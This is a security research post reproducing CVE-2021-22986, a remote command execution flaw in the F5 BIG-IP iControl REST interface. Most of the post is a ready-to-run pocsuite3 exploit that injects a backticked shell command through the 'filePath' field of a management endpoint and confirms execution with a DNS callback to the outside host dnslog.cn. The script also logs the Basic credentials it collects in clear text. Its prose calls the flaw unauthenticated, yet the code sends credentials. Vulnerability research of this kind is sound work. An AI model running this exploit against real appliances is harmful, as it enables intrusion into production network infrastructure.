Back home
中文
H7 / SECURITY RESEARCH NOTES

F5 BIG-IP iControl REST Interface Remote Command Execution Vulnerability Reproduction (CVE-2021-22986)

On this page6 sections

0x01 Vulnerability Details

F5 Networks: a global leader in application delivery networking (ADN). logo.jpg This vulnerability allows an unauthenticated attacker to access the iControl REST interface through the BIG-IP management interface and the attacker's own IP address, thereby enabling the execution of arbitrary system commands.

0X02 Affected Versions

16.0.0 <= BIG-IP(All modules) <= 16.0.1 15.1.0 <= BIG-IP(All modules) <= 15.1.2 14.1.0 <= BIG-IP(All modules) <= 14.1.3.1 13.1.0 <= BIG-IP(All modules) <= 13.1.3.5 12.1.0 <= BIG-IP(All modules) <= 12.1.5.2 7.1.0 <= BIG-IQ(All modules) <= 7.1.0.2 7.0.0 <= BIG-IQ(All modules) <= 7.0.0.1 6.0.0 <= BIG-IQ(All modules) <= 6.1.0

0x03 Environment Setup

Download the corresponding virtual machine file from F5's official website and start it locally with VMWare. test_1.png

0x04 POC Development

# /usr/bin/env python3
# coding:utf8

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
import time
import base64
from getpass import getpass


class Dnslog:
    def __init__(self) -> None:
        self._get_dns_domain_api = 'http://dnslog.cn/getdomain.php'  # 获取子域名
        self._get_dns_record_api = "http://dnslog.cn/getrecords.php"  # 查询dns解析
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE',
        }
        self._dns = requests.session()
        self.dnssubdomain = self._dns.get(self._get_dns_domain_api).text
        self.msg = '360bugcloud'

    def get_records(self):
        try:
            logger.info("开始尝试获取dns log数据")
            result = self._dns.get(self._get_dns_record_api,
                                   headers=self._headers).text

            if self.msg in result:
                return True
            else:
                return False

        except Exception as e:
            logger.info(f"获取dns log数据失败,请重试,错误{e}")


class TestPOC(POCBase):
    vulID = 'Hunter-0x07'
    version = 'v1'
    author = ['Hunter-0x07']
    vulDate = '2021-03-17'
    createDate = '2021-03-17'
    updateDate = '2020-03-17'
    references = ['']
    name = 'F5 BIG-IP 远程代码执行漏洞'
    appPowerLink = ''
    appName = 'F5 BIG-IP'
    appVersion = '''16.0.0 ~ 16.0.1 15.1.0 ~ 15.1.2 14.1.0 ~ 14.1.3.1 13.1.0 ~ 13.1.3.5 
    12.1.0 ~ 12.1.5.2 7.1.0 ~ 7.1.0.2 7.0.0 ~ 7.0.0.1 6.0.0 ~ 6.1.0'''
    vulType = 'RCE'
    desc = ''''''

    def _verify(self):
        result = {}
        self._dnslog = Dnslog()
        self._dns_subdomain = f"{self._dnslog.msg}.{self._dnslog.dnssubdomain}"

        self.url = self.url.strip("/")
        self.vuln_url = self.url + '/mgmt/tm/access/bundle-install-tasks'
        self.rce_cmd = f"`ping {self._dns_subdomain}`"

        self.headers['Authorization'] = self._get_user_info()
        logger.info(self.headers)

        self._send_poc()

        # 休眠5秒等待dns log出结果
        time.sleep(5)

        try:
            if self._dnslog.get_records():
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                logger.info("存在漏洞")

        except Exception as e:
            logger.error("未获取到dns log信息,请重试")

        return self.parse_output(result)

    def _get_user_info(self):
        logger.info("获取用户名和密码")

        username = input("请输入登录用户名: ")
        password = getpass("请输入登录密码(隐藏不显示): ")
        authorization = 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode()
        logger.info(authorization)

        return authorization

    def _send_poc(self):
        logger.info("验证是否存在漏洞.....")

        post_data = {
            "filePath": self.rce_cmd
        }

        try:
            res = requests.post(url=self.vuln_url, headers=self.headers, verify=False, json=post_data)
            logger.info(res.status_code)

        except Exception as e:
            logger.error(f"POC发送失败,请重试,错误{e}")

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(TestPOC)

0x06 POC Reproduction

The vulnerability exists, as shown below: poc_success.png

The vulnerability does not exist, as shown below: test_2.png

0x07 References

https://support.f5.com/csp/article/K02566623